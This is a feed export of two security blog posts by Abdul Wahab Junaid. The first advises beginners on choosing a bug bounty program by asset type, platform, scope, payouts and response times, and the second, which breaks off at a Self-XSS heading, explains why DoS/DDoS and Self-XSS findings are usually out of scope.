<h2 class="wp-block-heading">The State of the Industry</h2>



<p class="wp-block-paragraph">Bug bounties are currently one of the most popular ways for organizations to receive feedback about security flaws. Large corporations, like <strong>PayPal</strong> and <strong>Facebook</strong>, as well as government agencies like the <strong>US Department of Defense</strong>, have all embraced the idea. Yet, not too long ago, reporting a vulnerability to a company would have more likely landed a person in legal trouble than gotten them a reward.</p>



<p class="wp-block-paragraph">In <strong>1995</strong>, <strong>Netscape</strong> launched the first-ever bug bounty program. The company encouraged users to report bugs found in its brand-new browser, the <strong>Netscape Navigator 2.0</strong>, introducing the idea of <strong>crowdsourced security testing</strong> to the internet world. Mozilla launched the next corporate bug bounty program nine years later, in <strong>2004</strong>, inviting users to identify bugs in the Firefox browser.</p>



<p class="wp-block-paragraph">But it was not until the <strong>2010s</strong> that offering bug bounties became a popular practice. That year, <strong>Google</strong> launched its program, and <strong>Facebook</strong> followed suit in <strong>2011</strong>. These two programs truly kick-started the trend of using bug bounties to augment a corporation’s in-house security infrastructure.</p>



<h3 class="wp-block-heading">The Rise of Bug Bounty Platforms</h3>



<p class="wp-block-paragraph">As bug bounties became a more well-known strategy, <strong>bug-bounty-as-a-service platforms</strong> emerged. These platforms help companies set up and operate their programs. For example, they provide a place for companies to host their programs, a way to process reward payments, and a centralized place to communicate with bug bounty hunters.</p>



<p class="wp-block-paragraph">The two largest of these platforms, <strong>HackerOne</strong> and <strong>Bugcrowd</strong>, both launched in <strong>2012</strong>. Following them, a few more platforms, such as <strong>Synack</strong>, <strong>Cobalt</strong>, and <strong>Intigriti</strong>, came to the market. These platforms and managed bug bounty services allow even companies with limited resources to run a security program. Today, large corporations, small startups, nonprofits, and government agencies alike have adopted bug bounties as an additional security measure and a fundamental piece of their security policies.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">The term <em>security program</em> usually refers to information security policies, procedures, guidelines, and standards in the larger information security industry. In the context of bug bounties, the term <strong>program</strong> or <strong>bug bounty program</strong> refers specifically to a company’s bug bounty operations.</p>
</blockquote>



<p class="wp-block-paragraph">Today, tons of programs exist, all with their <strong>unique characteristics, benefits, and drawbacks</strong>. Let&#8217;s examine these factors to help you make an informed choice.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Asset Types: Choosing Your Attack Surface</h2>



<p class="wp-block-paragraph">In the context of a bug bounty program, an <strong>asset</strong> is an application, website, or product that a hacker can target. There are different types of assets, each with its own characteristics, requirements, and pros and cons. After considering these differences, you should choose a program with assets that <strong>play to your strengths</strong>, based on your skill set, experience level, and preferences.</p>



<h3 class="wp-block-heading">Social Sites and Applications</h3>



<p class="wp-block-paragraph">Anything labeled <strong>social</strong> has a lot of potential for vulnerabilities because these applications tend to be <strong>complex</strong> and involve a lot of interaction among users, and between the user and the server. This first type of bug bounty program targets social websites and applications.</p>



<p class="wp-block-paragraph">The term <strong>social application</strong> refers to any site that allows users to interact with each other. Many programs belong to this category: examples include the bug bounty program for <strong>HackerOne</strong> and programs for <strong>Facebook</strong>, <strong>Twitter</strong>, <strong>GitHub</strong>, and <strong>LINE</strong>.</p>



<ul class="wp-block-list">
<li><strong>Vulnerability Potential:</strong> Social applications need to manage interactions among users, as well as each user’s roles, privileges, and account integrity. They are typically full of potential for critical web vulnerabilities such as:<ul><li><strong>Insecure Direct Object References (IDORs)</strong></li><li><strong>Information Leaks (Info leaks)</strong></li><li><strong>Account Takeovers</strong></li></ul>These vulnerabilities often occur when many users are on a platform and when applications <strong>mismanage user information</strong> or when the application does not validate a user’s identity properly, allowing malicious users to assume the identity of others.</li>



<li><strong>Injection Flaws:</strong> These complex applications also often provide a lot of user input opportunities. If <strong>input validation</strong> is not performed properly, these applications are prone to injection bugs, like <strong>SQL Injection (SQLi)</strong> or <strong>Cross-Site Scripting (XSS)</strong>.</li>



<li><strong>Recommendation for Beginners:</strong> If you are a newcomer to bug bounties, it is highly recommended that you start with social sites. The large number of social applications means you’ll have many programs to choose from. The complex nature of social sites means you’ll encounter a <strong>vast attack surface</strong> (all of the application’s different points that an attacker can attempt to exploit) with which to experiment. Finally, the diverse range of vulnerabilities that show up on these sites means you will be able to quickly build a <strong>deep knowledge of web security</strong>.</li>



<li><strong>Skill Set:</strong> The skills needed include the ability to use a <strong>proxy</strong>, like the Burp Suite proxy, and knowledge about web vulnerabilities such as XSS and IDOR. It’s also helpful to have some <strong>JavaScript programming skills</strong> and knowledge about <strong>web development</strong>. However, these skills aren’t strictly required to succeed as a hacker.</li>



<li><strong>Major Downside:</strong> Because of the popularity of their products and the low barrier of entry, social programs are often <strong>very competitive</strong> and have many hackers hunting on them. Social media platforms such as Facebook and Twitter are some of the most targeted programs.</li>
</ul>



<h3 class="wp-block-heading">General Web Applications</h3>



<p class="wp-block-paragraph"><strong>General web applications</strong> are also a good target for beginners. This category refers to any web applications that <strong>do not involve user-to-user interaction</strong>. Instead, users interact with the server to access the application’s features. Targets that fall into these categories can include static websites, cloud applications, consumer services like banking sites, and web portals of Internet of Things (IoT) devices or other connected hardware. Like social sites, they are also quite diverse and lend themselves well to a variety of skill levels. Examples include the programs for <strong>Google</strong>, the <strong>US Department of Defense</strong>, and <strong>Credit Karma</strong>.</p>



<ul class="wp-block-list">
<li><strong>Level of Difficulty:</strong> In general, these tend to be a little more difficult to hack than social applications, and their attack surface is often smaller. If you’re looking for account takeovers and info leak vulnerabilities, you won’t have as much luck because there aren’t many opportunities for users to interact with others and potentially steal their information.</li>



<li><strong>Vulnerability Focus:</strong> The types of bugs you’ll find are slightly different. You’ll need to look for <strong>server-side vulnerabilities</strong> and vulnerabilities specific to the application’s <strong>technology stack</strong>. You could also look for commonly found network vulnerabilities, like <strong>subdomain takeovers</strong>.</li>



<li><strong>Skill Set:</strong> This means you’ll have to know about both <strong>client-side</strong> and <strong>server-side</strong> web vulnerabilities, and you should have the ability to use a proxy. It’s also helpful to have some knowledge about web development and programming.</li>



<li><strong>Accessibility:</strong> These programs can range in popularity. However, most of them have a <strong>low barrier of entry</strong>, so you can most likely get started hacking right away!</li>
</ul>



<h3 class="wp-block-heading">Mobile Applications (Android, iOS, and Windows)</h3>



<p class="wp-block-paragraph">After you get the hang of hacking web applications, you may choose to specialize in <strong>mobile applications</strong>. Mobile programs are becoming prevalent, as most web apps have a mobile equivalent nowadays. They include programs for <strong>Facebook Messenger</strong>, the <strong>Twitter app</strong>, the <strong>LINE mobile app</strong>, the <strong>Yelp app</strong>, and the <strong>Gmail app</strong>.</p>



<ul class="wp-block-list">
<li><strong>Required Knowledge:</strong> Hacking mobile applications requires the skill set you’ve built from hacking web applications, as well as additional knowledge about the <strong>structure of mobile apps</strong> and <strong>programming techniques</strong> related to the platform. You should understand attacks and analysis strategies like:
<ul class="wp-block-list">
<li><strong>Certificate Pinning Bypass</strong></li>



<li><strong>Mobile Reverse Engineering</strong></li>



<li><strong>Cryptography</strong></li>
</ul>
</li>



<li><strong>Setup Requirements:</strong> Hacking mobile applications also requires a little more setup than hacking web applications, as you’ll need to own a mobile device you can experiment on. A good mobile testing lab consists of a regular device, a <strong>rooted device</strong> (one for which you have admin privileges, allowing you to bypass mobile system&#8217;s safety constraints), and <strong>device emulators</strong> (virtual simulations of mobile environments run on your computer) for both Android and iOS.</li>



<li><strong>Competition:</strong> For these reasons, mobile applications are <strong>less popular</strong> among bug bounty hunters than web applications. However, the higher barrier of entry for mobile programs is an <strong>advantage</strong> for those who do participate, as these programs are <strong>less competitive</strong>, making it relatively easy to find bugs.</li>
</ul>



<h3 class="wp-block-heading">APIs</h3>



<p class="wp-block-paragraph"><strong>Application Programming Interfaces (APIs)</strong> are specifications that define how other applications can interact with an organization’s assets, such as to retrieve or alter their data. For example, another application might be able to retrieve an application’s data via <strong>HyperText Transfer Protocol (HTTP)</strong> messages to a certain endpoint, and the application will return data in the format of <strong>Extensible Markup Language (XML)</strong> or <strong>JavaScript Object Notation (JSON)</strong> messages.</p>



<ul class="wp-block-list">
<li><strong>Focus Areas:</strong> Some programs put a heightened focus on API bugs in their bug bounty programs if they’re rolling out a new version of their API. A secure API implementation is key to preventing data breaches and protecting customer data. When testing APIs, you should focus on common API bugs like <strong>data leaks</strong> and <strong>injection flaws</strong>.</li>



<li><strong>Skill Set:</strong> Hacking APIs requires many of the same skills as hacking web applications, mobile applications, and IoT applications.</li>
</ul>



<h3 class="wp-block-heading">Source Code and Executables</h3>



<p class="wp-block-paragraph">If you have more advanced <strong>programming</strong> and <strong>reversing skills</strong>, you can give <strong>source code</strong> and <strong>executable programs</strong> a try. These programs encourage hackers to find vulnerabilities in an organization’s software by directly providing hackers with an <strong>open source codebase</strong> or the <strong>binary executable</strong>. Examples include the <strong>Internet Bug Bounty</strong>, the program for the <strong>PHP language</strong>, and the <strong>WordPress program</strong>.</p>



<ul class="wp-block-list">
<li><strong>Hacking Methods:</strong> Hacking these programs can entail analyzing the source code of open source projects for web vulnerabilities and <strong>fuzzing binaries</strong> (testing software with massive amounts of unexpected or malformed inputs) for potential exploits.</li>



<li><strong>Required Skills:</strong> You usually have to understand <strong>coding</strong> and <strong>computer science concepts</strong> to be successful here. You’ll need knowledge of web vulnerabilities, programming skills related to the project’s codebase, and <strong>code analysis skills</strong>. <strong>Cryptography</strong>, <strong>software development</strong>, and <strong>reverse engineering skills</strong> are also helpful.</li>



<li><strong>Competition:</strong> Source code programs may sound intimidating, but they are diverse, offering many choices. Because these programs tend to require more skills, they are <strong>less competitive</strong>, and only a small proportion of hackers will ever attempt them.</li>
</ul>



<h3 class="wp-block-heading">Hardware and IoT</h3>



<p class="wp-block-paragraph">Last but not least are <strong>hardware and IoT (Internet of Things)</strong> programs. These programs ask you to hack devices like <strong>cars</strong>, <strong>smart televisions</strong>, and <strong>thermostats</strong>. Examples include the bug bounty programs of <strong>Tesla</strong> and <strong>Ford Motor Company</strong>.</p>



<ul class="wp-block-list">
<li><strong>Specialized Skills:</strong> You’ll need highly specific skills to hack these programs: you’ll often have to acquire a deep familiarity with the type of device you’re hacking, in addition to understanding common IoT vulnerabilities. You should know about:
<ul class="wp-block-list">
<li>Web vulnerabilities</li>



<li>Programming</li>



<li>Code analysis</li>



<li>Reverse engineering</li>



<li>IoT concepts and industry standards such as <strong>digital signing</strong> and <strong>asymmetric encryption schemes</strong></li>



<li><strong>Cryptography</strong>, <strong>wireless hacking</strong>, and <strong>software development</strong> skills</li>
</ul>
</li>



<li><strong>Barrier to Entry:</strong> Although some programs will provide you with a free device to hack, that often applies only to select hackers who’ve already established a relationship with the company. To begin hacking on these programs, you might need the funds to acquire the device on your own.</li>



<li><strong>Competition:</strong> Since these programs require specialized skills and often a device, they tend to be the <strong>least competitive</strong>.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Bug Bounty Platforms vs. Independently Hosted Programs</h2>



<p class="wp-block-paragraph">Companies can host bug bounty programs in two ways: through <strong>bug bounty platforms</strong> and on <strong>independently hosted websites</strong>.</p>



<ul class="wp-block-list">
<li><strong>Bug Bounty Platforms:</strong> These are websites through which many companies host their programs. Usually, the platform directly awards hackers with reputation points and money for their results. Some of the largest bug bounty platforms are <strong>HackerOne</strong>, <strong>Bugcrowd</strong>, <strong>Intigriti</strong>, <strong>Synack</strong>, and <strong>Cobalt</strong>.
<ul class="wp-block-list">
<li><strong>Platform Function:</strong> Bug bounty platforms act as an intermediary between hackers and security teams. They provide companies with logistical assistance for tasks like <strong>payment and communication</strong>. They also often offer help managing incoming reports by <strong>filtering, deduplicating, and triaging</strong> (the confirmation of vulnerability) bug reports. Finally, these platforms provide a way for companies to gauge a hacker’s skill level via statistics and reputation, allowing them to invite experienced hackers to their private programs. Some of these platforms also screen or interview hackers before allowing them to participate.</li>
</ul>
</li>



<li><strong>Independently Hosted Programs:</strong> Many organizations host and manage their bug bounty programs <strong>without the help of platforms</strong>. Companies like <strong>Google</strong>, <strong>Facebook</strong>, <strong>Apple</strong>, and <strong>Medium</strong> do this. You can find their bug bounty policy pages by visiting their websites, or by searching “CompanyName bug bounty program” online.</li>
</ul>



<p class="wp-block-paragraph">As a bug bounty hunter, should you hack on a bug bounty platform, or should you go for companies’ independently hosted programs?</p>



<h3 class="wp-block-heading">The Pros of Platforms</h3>



<ul class="wp-block-list">
<li><strong>Transparency:</strong> The best thing about bug bounty platforms is that they provide a lot of <strong>transparency</strong> into a company’s process, because they post disclosed reports, metrics about the programs’ triage rates, payout amounts, and response times. Independently hosted programs often lack this type of transparency.</li>



<li><strong>Logistics:</strong> You won’t have to worry about the logistics of emailing security teams, following up on reports, and providing payment and tax information every time you submit a vulnerability report.</li>



<li><strong>Reputation System:</strong> Bug bounty platforms often have <strong>reputation systems</strong> that allow you to showcase your experience so you can gain access to <strong>invite-only bug bounty programs</strong>.</li>



<li><strong>Conflict Resolution:</strong> Another advantage of bug bounty platforms is that they often step in to provide <strong>conflict resolution</strong> and <strong>legal protection</strong> as a third party. If you submit a report to a non-platform program, you have no recourse in the final bounty decision.</li>
</ul>



<h3 class="wp-block-heading">The Cons of Platforms</h3>



<ul class="wp-block-list">
<li><strong>Triagers:</strong> Some hackers avoid bug bounty platforms because they dislike how those platforms deal with reports. Reports submitted to platform-managed bug bounty programs often get handled by <strong>triagers</strong> (third-party employees who often aren’t familiar with all the security details about a company’s product). Complaints about triagers handling reports improperly are common.</li>



<li><strong>Loss of Direct Connection:</strong> Programs on platforms often <strong>break the direct connection</strong> between hackers and developers. With a direct program, you often get to discuss the vulnerability with a company’s security engineers, making for a great learning experience.</li>



<li><strong>Crowding:</strong> Public programs on bug bounty platforms are often <strong>crowded</strong> because the platform gives them extra exposure. On the other hand, many privately hosted programs don’t get as much attention from hackers and are thus less competitive.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Other Key Metrics: Scope, Payouts, and Response Times</h2>



<p class="wp-block-paragraph">What other metrics should you consider when picking a program, besides its asset types and platform? On each bug bounty program’s page, metrics are often listed to help you assess the program. These metrics give insight into how easily you might be able to find bugs, how much you might get paid, and how well the program operates.</p>



<h3 class="wp-block-heading">Program Scope</h3>



<p class="wp-block-paragraph">First, consider the <strong>scope</strong>. A program’s scope, specified on its policy pages, defines <strong>what and how you are allowed to hack</strong>. There are two types of scopes:</p>



<ol class="wp-block-list">
<li><strong>Asset Scope:</strong> Tells you which subdomains, products, and applications you can hack.</li>



<li><strong>Vulnerability Scope:</strong> Specifies which vulnerabilities the company will accept as valid bugs.</li>
</ol>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Crucial Rule:</strong> Assets that are listed as <strong>in scope</strong> are the ones you are allowed to hack. Assets that are listed as <strong>out-of-scope</strong> are <strong>off-limits</strong> to bug bounty hunters. <strong>Be extra careful and abide by the rules! Hacking an out-of-scope asset is illegal.</strong></p>
</blockquote>



<p class="wp-block-paragraph">Typical <strong>out-of-scope vulnerabilities</strong> include: <strong>Self-XSS</strong>, <strong>Clickjacking</strong>, <strong>Missing HTTP headers and other best practices without direct security impact</strong>, <strong>Denial-of-Service attacks</strong>, and <strong>Use of known-vulnerable libraries/automated scanner results without proof of exploitability</strong>.</p>



<ul class="wp-block-list">
<li><strong>Recommendation:</strong> Any program with <strong>large asset and vulnerability scopes</strong> is a <strong>good place to start for a beginner</strong>. The larger the asset scope, the larger the number of target applications and web pages you can look at, and you can often find obscure applications that are <strong>overlooked by other hackers</strong>. This typically means <strong>less competition</strong>. The larger the vulnerability scope, the more types of bugs the organization is willing to hear reports about, making it easier to find bugs because you have more opportunities and can play to your strengths.</li>
</ul>



<h3 class="wp-block-heading">Payout Amounts</h3>



<p class="wp-block-paragraph">The next metric you should consider is the program’s <strong>payout amounts</strong>. There are two types of payment programs:</p>



<ol class="wp-block-list">
<li><strong>Vulnerability Disclosure Programs (VDPs):</strong> These are <strong>reputation-only programs</strong>, meaning they do not pay monetary rewards for findings but often offer rewards such as reputation points and swag.
<ul class="wp-block-list">
<li><strong>VDP Benefits:</strong> They are a great way to learn about hacking if making money is not your primary objective. Since they don’t pay, they’re <strong>less competitive</strong>, and so <strong>easier to find bugs in</strong>. You can use them to practice finding common vulnerabilities and communicating with security engineers.</li>
</ul>
</li>



<li><strong>Bug Bounty Programs:</strong> These offer <strong>varying amounts of monetary rewards</strong> for your findings. In general, the more severe the vulnerability, the more the report will pay.</li>
</ol>



<ul class="wp-block-list">
<li><strong>Payout Structure:</strong> Different programs have different payout averages for each level of severity. You can find a program’s payout information on its bug bounty pages, usually listed in a section called the <strong>payout table</strong>. Typically, low-impact issues will pay anywhere from $50 to $500 (USD), while critical issues can pay upward of <strong>$10,000</strong>. The bug bounty industry is evolving, and payout amounts are increasing for high-impact bugs (e.g., Apple now rewards up to $1 million for the most severe vulnerabilities).</li>
</ul>



<h3 class="wp-block-heading">Response Time</h3>



<p class="wp-block-paragraph">Finally, consider the program’s average <strong>response time</strong>. Some companies will handle and resolve your reports within a few days, while others take weeks or even months to finalize their fixes. Delays often happen because of the security team’s internal constraints (lack of personnel, delay in issuing security patches, lack of funds) or because researchers have sent <strong>bad reports without clear reproduction steps</strong>.</p>



<ul class="wp-block-list">
<li><strong>Recommendation:</strong> <strong>Prioritize programs with fast response times.</strong> Rapid feedback from security teams will help you improve, especially when starting, because you&#8217;re likely to make mistakes (misjudging severity, writing unclear explanations, technical mistakes). Fast feedback will turn you into a <strong>competent hacker faster</strong>.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Public vs. Private Programs</h2>



<p class="wp-block-paragraph">Most bug bounty platforms distinguish between public and private programs.</p>



<ul class="wp-block-list">
<li><strong>Public Programs:</strong> These are open to all; anyone can hack and submit bugs to these programs, as long as they abide by the laws and the bug bounty program’s policies.</li>



<li><strong>Private Programs:</strong> These are open to <strong>only invited hackers</strong>. Companies ask hackers with a certain level of experience and a proven track record to attack the company and submit bugs to it.</li>
</ul>



<h3 class="wp-block-heading">The Advantage of Private Programs</h3>



<p class="wp-block-paragraph">Participating in private programs can be extremely advantageous.</p>



<ul class="wp-block-list">
<li><strong>Less Competitive:</strong> Private programs are a lot <strong>less competitive</strong> than public ones because of the limited number of hackers participating. Therefore, it’s much easier to find bugs in them.</li>



<li><strong>Faster Response Time:</strong> Private programs also often have a much <strong>faster response time</strong> because they receive fewer reports on average.</li>
</ul>



<h3 class="wp-block-heading">How to Get Invited to Private Programs</h3>



<p class="wp-block-paragraph">Companies send private invites to hackers who have proven their abilities. Getting invites to private programs isn’t difficult once you’ve found a couple of bugs. Different bug bounty platforms will have different algorithms to determine who gets the invites, but here are some tips:</p>



<ol class="wp-block-list">
<li><strong>Submit Valid Bugs to Public Programs:</strong> To get private invites, you often need to gain a certain number of <strong>reputation points</strong> on a platform, and the only way to begin earning these is to submit valid bugs to public programs.</li>



<li><strong>Focus on High-Impact Vulnerabilities:</strong> These vulnerabilities will often reward you with <strong>higher reputation points</strong> and help you get private invites faster.</li>



<li><strong>Complete Platform Challenges:</strong> On some bug bounty platforms, like HackerOne, you can also get private invites by completing <strong>tutorials or solving Capture the Flag (CTF) challenges</strong>.</li>



<li><strong>Do Not Spam:</strong> Submitting nonissues often causes a <strong>decrease in reputation points</strong>. Most bug bounty platforms limit private invites to hackers with points above a certain threshold.</li>



<li><strong>Be Polite and Courteous:</strong> Be polite and courteous when communicating with security teams. Being rude or abusive will probably get you <strong>banned</strong> from the program and prevent you from getting private invites from other companies.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Choosing the Right Program for Success</h2>



<p class="wp-block-paragraph">Bug bounties are a great way to gain experience in cybersecurity and earn extra bucks. But the industry has been getting more competitive. As more people are discovering these programs and getting involved in hacking on them, it’s becoming increasingly difficult for beginners to get started. That’s why it’s important to <strong>pick a program that you can succeed in from the very start</strong>.</p>



<p class="wp-block-paragraph">Before developing a bug hunter’s intuition, you often have to rely on <strong>low-hanging fruit</strong> and <strong>well-known techniques</strong>. This means many other hackers will be able to find the same bugs, often much faster than you can. It’s therefore a good idea to pick a program that more experienced bug hunters pass over to <strong>avoid competition</strong>. You can find these underpopulated programs in two ways:</p>



<ol class="wp-block-list">
<li><strong>Look for Unpaid Programs (VDPs):</strong> Try going for <strong>Vulnerability Disclosure Programs (VDPs)</strong> first. Unpaid programs are often ignored by experienced bug hunters, since they don’t pay monetary rewards. But they still earn you points and recognition, which might be just what you need to get an invite to a private, paid program.</li>



<li><strong>Go for Programs with Big Scopes:</strong> Picking a program with a <strong>large scope</strong> means you’ll be able to look at a larger number of target applications and web pages. This <strong>dilutes the competition</strong>, as fewer hackers will report on any single asset or vulnerability type.</li>
</ol>



<p class="wp-block-paragraph">Remember to go for programs with <strong>fast response times</strong> to prevent frustration and get feedback as soon as possible.</p>



<p class="wp-block-paragraph">One last thing that can be incorporated into your decision process is the <strong>reputation of the program</strong>. If you can, gather information about a company’s process through its disclosed reports and learn from other hackers’ experiences. Does the company treat its reporters well? Are they respectful and supportive? Do they help you learn? <strong>Pick programs that will be supportive while you are still learning, and programs that will reward you for the value that you provide.</strong></p>



<p class="wp-block-paragraph">Choosing the right program for your skill set is crucial if you want to break into the world of bug bounties. This guide should have helped you sort out the various programs that you might be interested in. <strong>Happy hacking!</strong></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">A Quick Comparison of Popular Programs</h2>



<p class="wp-block-paragraph">After you’ve identified a few programs that you are interested in, you could list the properties of each one to compare them. Below, let’s compare a few of the popular programs.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Program</th><th>Asset Type</th><th>In-Scope Assets (Examples)</th><th>Payout Amount (Min/Range)</th><th>Response Time Metrics (Average)</th></tr></thead><tbody><tr><td><strong>HackerOne</strong></td><td>Social site</td><td><code>hackerone.com</code>, <code>api.hackerone.com</code>, <code>*.vpn.hackerone.net</code>, etc.</td><td><strong>$500–$15,000+</strong></td><td>Fast. Response: 5 hours. Triage: 15 hours.</td></tr><tr><td><strong>Facebook</strong></td><td>Social site, non-social site, mobile site, IoT, and source code</td><td>Instagram, Internet.org / Free Basics, Oculus, Workplace, WhatsApp, Portal, etc.</td><td><strong>$500 minimum</strong></td><td>Based on experience, quite fast.</td></tr><tr><td><strong>GitHub</strong></td><td>Social site</td><td><code>blog.github.com</code>, <code>community.github.com</code>, <code>resources.github.com</code>, etc.</td><td><em>Not explicitly listed, but generally competitive</em></td><td><em>Metrics not provided in the original text.</em></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"></p>
<p>The post <a href="https://awjunaid.com/books/not-all-bug-bounty-programs-are-the-same-finding-your-target/">Not All Bug Bounty Programs Are the Same: Finding Your Target</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/books/not-all-bug-bounty-programs-are-the-same-finding-your-target/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">11397</post-id>	</item>
		<item>
		<title>(Out of Scope) Vulnerabilities: Knowing What Not to Report in Bug Bounty Programs</title>
		<link>https://awjunaid.com/books/out-of-scope-vulnerabilities-knowing-what-not-to-report-in-bug-bounty-programs/</link>
					<comments>https://awjunaid.com/books/out-of-scope-vulnerabilities-knowing-what-not-to-report-in-bug-bounty-programs/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Mon, 10 Nov 2025 14:46:10 +0000</pubDate>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=11394</guid>

					<description><![CDATA[<p>However, in the world of security research and bug bounties, there are several common findings and false positives&#8230;</p>
<p>The post <a href="https://awjunaid.com/books/out-of-scope-vulnerabilities-knowing-what-not-to-report-in-bug-bounty-programs/">(Out of Scope) Vulnerabilities: Knowing What Not to Report in Bug Bounty Programs</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">However, in the world of security research and bug bounties, there are several common findings and <strong>false positives</strong> that are constantly being flagged by scanners, passive analysis tools, browser extensions, and command-line logs. It is incredibly useful to have a clear understanding of what vulnerabilities companies are <strong>not interested in</strong>. This knowledge allows you to both <strong>avoid wasting your time</strong> submitting doomed bug reports and configure your tools to report <strong>less noise</strong> to you in the first place, leading to a much more efficient workflow.</p>



<p class="wp-block-paragraph">The core common theme for most of the vulnerabilities covered here is that they <strong>don&#8217;t have a clear, direct path to exploitation</strong> that affects a company or its users. They generally fall into categories where they either:</p>



<ul class="wp-block-list">
<li>Only affect the <strong>attacker</strong> (the security researcher).</li>



<li>Require <strong>other (more serious) vulnerabilities</strong> to be present before they can be exploited.</li>



<li>In the case of leaked information, <strong>don&#8217;t give an attacker any actionable information</strong> to launch a meaningful attack.</li>
</ul>



<p class="wp-block-paragraph">This detailed article will cover the specific vulnerabilities that companies often <strong>exclude from bug bounty programs</strong>, including how they work and, critically, why they&#8217;re often not covered. It will also highlight some of the common themes in what makes a bug ineligible for reward consideration.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>System Requirements for Analysis</strong></h3>



<p class="wp-block-paragraph">Since this discussion largely focuses on vulnerabilities that should be excluded from a typical testing workflow, the only tool needed is a standard web browser. For example, a version like <strong>Chrome version 66.0.3359.139</strong> will suffice for examining the concepts discussed.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">DoS/DDoS – The Denial-of-Service Problem</h3>



<p class="wp-block-paragraph"><strong>Denial-of-Service (DoS)</strong> and <strong>Distributed Denial-of-Service (DDoS)</strong> are familiar strains of cyberattack to anyone who follows security news. Flooding a target with traffic that is indistinguishable from a legitimate surge of visitors remains a popular method for either taking down or crippling a web property. This is especially potent when combined with <strong>amplification attacks</strong> (attacks that increase the volume of malicious traffic) caused by hijacking other servers, spoofing connected services, or taking advantage of an internal performance flaw or bottleneck.</p>



<p class="wp-block-paragraph">In 2018, the software development platform GitHub was hit by what was, at the time, the largest DDoS attack ever recorded (a record that was quickly broken just five days later), clocking in at a saturation rate of about <strong>1.3 TBps</strong> (terabytes per second). One reason the attackers were able to achieve such a high throughput was because they relied on commandeering unsecured <strong>Memcached database servers</strong>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Memcached</strong> is a general-purpose distributed memory caching system, which stores data and objects in RAM to speed up dynamic web applications.</p>
</blockquote>



<p class="wp-block-paragraph">The attackers were able to spoof a query packet, making it look like the target server was asking for data from the Memcached server. In response, the Memcached server would then batter the target server with data up to <strong>50,000 times the size of the spoofed request</strong>. This technique, known as a <strong>Memcached reflection attack</strong>, drastically amplifies the attack traffic. GitHub, in particular, has been repeatedly targeted, with this incident being just the latest in a sustained campaign against the site.</p>



<p class="wp-block-paragraph">If you look at GitHub&#8217;s bug bounty program, you&#8217;ll notice they call out DDoS attacks specifically—stating clearly that they <strong>do not allow them</strong>:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Don&#8217;t perform any attack that could harm the reliability/integrity of our services or data. DDoS/spam attacks are not allowed.</strong> (emphasis theirs)</p>
</blockquote>



<h4 class="wp-block-heading">Why DoS/DDoS is Typically Out-of-Scope</h4>



<p class="wp-block-paragraph">The reason DoS/DDoS attacks are typically out-of-scope is simple: they are often <strong>not the result of anything the victim did wrong</strong>. The company didn&#8217;t miscode the application or leave a critical application-layer vector open. Defending against these attacks requires an entire <strong>proactive security architecture</strong>, which involves redistributing the load across different networks and intelligently throttling/isolating malicious sources of traffic—it&#8217;s a network defense problem, not an application vulnerability problem.</p>



<p class="wp-block-paragraph">The <strong>exception</strong> is when a DoS/DDoS attack is made more effective because it can leverage a <strong>specific security flaw</strong> that exists on the victim&#8217;s network. If, as a security researcher, you come across, for example, an <strong>unsecured NTP server</strong> (Network Time Protocol) that could be hijacked to amplify a DDoS attack, you should certainly report it. This would be a vulnerability that could be used to threaten the company&#8217;s network or another bystander&#8217;s network.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Important Note:</strong> You should <strong>not</strong> try to validate any vulnerabilities like this by leveraging them for increased bot traffic, <strong>even if</strong> you believe the traffic falls below the threshold of something that could damage the target&#8217;s infrastructure. The fact that DDoS prohibitions are so common is a clear sign of how seriously they are taken by bounty program operators.</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Sandboxed and Self-XSS – Low-Threat Cross-Site Scripting Varieties</h3>



<p class="wp-block-paragraph"><strong>Self-XSS</strong> (Self-Cross-Site Scripting) is a variety of XSS that relies heavily on <strong>social engineering</strong>, which is the primary reason it is excluded from most bug bounty programs. <strong>Sandboxed XSS</strong>, a similar term for a related strain, is typically used to describe an XSS vulnerability that happens on a machine that is <strong>isolated from sensitive user data or operations</strong>. Since Self-XSS refers to the specific phenomenon of executing code within <strong>your own</strong> browser environment to make yourself vulnerable to an XSS attack, it also means that your XSS bug is isolated in terms of what information it can access.</p>



<p class="wp-block-paragraph">For Self-XSS to take place, the attacker must manipulate the victim into <strong>executing the malicious code within their own browser context</strong>. This manual execution by the victim is what makes them susceptible to further exploitation by the attacker.</p>



<h4 class="wp-block-heading">A Simple Self-XSS Scenario</h4>



